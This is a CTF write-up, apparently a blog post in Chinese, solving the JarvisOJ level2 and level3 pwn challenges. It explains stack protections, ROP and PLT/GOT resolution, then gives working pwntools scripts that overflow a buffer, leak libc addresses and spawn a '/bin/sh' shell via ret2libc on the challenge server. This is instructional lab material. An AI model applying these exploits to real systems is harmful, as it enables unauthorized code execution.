pwn题解level(2)

今天oj里边的level2和level3的32位和64位四道题 写一下32位 其中包含libc

写题解之前 先补充两个内容

1.checksec

是用来检查可执行文件属性的。

Arch:说明这个文件的属性是什么,说明是32位的程序。

Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,linux中把这种cookie信息称为canary,所以如果开启了这个,就一般不可以执行shellcode了。

RELRO:设置符号重定向表格为只读,或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。如果RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。

NX(DEP)即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。

PIE(ASLR)地址分布随机化。

2.ROP

level2:

先用IDA反汇编 查看一下溢出点

很明显 88位就满了但是push了100位 是一个栈溢出题

而且这次system函数又出现了。于是想着是否可以通过控制调用system(“/bin/sh”)得到shell,将返回地址用system的地址覆盖,将传入参数设置成”/bin/sh”,用ida查找了一下字符串,发现了”/bin/sh”,于是记录下地址(或者使用pwntools的elf工具)。

虚拟机用checksec查看一下  NX开启了 所以这个题目我们就不可以用shellcode来做了

脚本如下

from pwn import *
conn=remote("pwn2.jarvisoj.com","9878")
e=ELF("./level2")
sys_addr=e.symbols['system']
pad=0x88
sh_addr=e.search("/bin/sh").next()
payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr    )
conn.sendline(payload)
conn.interactive(); 

level3:

打开题目发现这个和是一个rar文件 修改文件名 解压 出来两个文件

是一个libc题目 ok先解释一下libc题目吧

首先,有一类函数,我们称之为库函数,他们已经编译在了libc库中,供需要时调用(有些类似于Windows动态链接库)。

libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。

由于本人水平太菜==暂时还搞不清楚libc在换了另一个系统时的调用情况是否兼容(相关的坑以后再填~),但是有一点可以确定:

程序开始运行时,会把整个libc映射到内存中,此后在程序调用相关库函数时,会依据plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能,具体机制我们下面讲一下(PLT-GOT表):

PLT:内部函数表

GOT:全局函数表

完整调用链:Call->PLT->GOT->Real_RVA

转:https://www.cnblogs.com/Magpie/p/9117398.html

https://www.jianshu.com/p/6626a866ad66

接着写:

把两个文件分别都扔进IDA和Ubuntu

checksec查看一下文件的保护机制  NX同样开启

IDA

 这就是plt表,再跟一下就进了got表项:

双击跟一下后面的offset,发现是有一个静态的初始地址的,然而显然这不是真正的函数地址:

lt表里做了一个jmp,注意jmp跳到的地址是804a00c处存的地址而不是804a00c(804a00c就是got表项的索引地址,其处存的地址值就是表项内容即库函数的真实地址!)

即下面的 dd offset read 这个值才是jmp的目标地址,附一个汇编语法:ds:[eax] 值为eax的值,即指针,而ds:eax 值为eax存储的地址处的值

ds是指data segment,dd是双字,占四字节

下面的仅是本人的理解和猜测,不一定保证正确:

第一次跳到extrn就做了声明,将 dd offset read 改写为真实VA值,即与上面转载的博客讲的首次调用对应。

也就是说,不考虑第一次,GOT表存的就是真实地址!!!!

即0x804A00C处的值就是函数真实地址!!!

现在大体基础原理已经介绍完了,我们继续分析这道pwn题目:

由于libc_raw里的地址和虚拟内存中的VA是平行映射的,所以......

先通过write泄露某函数got表的值(即某函数真实VA),然后在IDA中找到system和"/bin/sh"和某函数地址,算出偏移,根据平行的特性就可以计算出真实的system和"/bin/sh"的地址啦~

之后,all matters done!

注意,需要两次溢出!第一次溢出劫持到write泄露地址,write执行完后还要能回到源溢出函数(构造栈),然后进行第二次溢出拿shell

原理明白了

脚本:

from pwn import *                                                                                                      
#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com","9879")
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B  
write_plt=e.symbols['write'] 
write_got=e.got['write'] 

payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
conn.recvuntil("Input:\n")
conn.sendline(payload1)

write_addr=u32(conn.recv(4))

#calculate the system_address in memory
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()

system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh

payload2='A'*pad+"BBBB"+p32(system_addr)+"dead"+p32(sh_addr)
conn.sendline(payload2)
conn.interactive()

 运行脚本 两道题flag到手!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值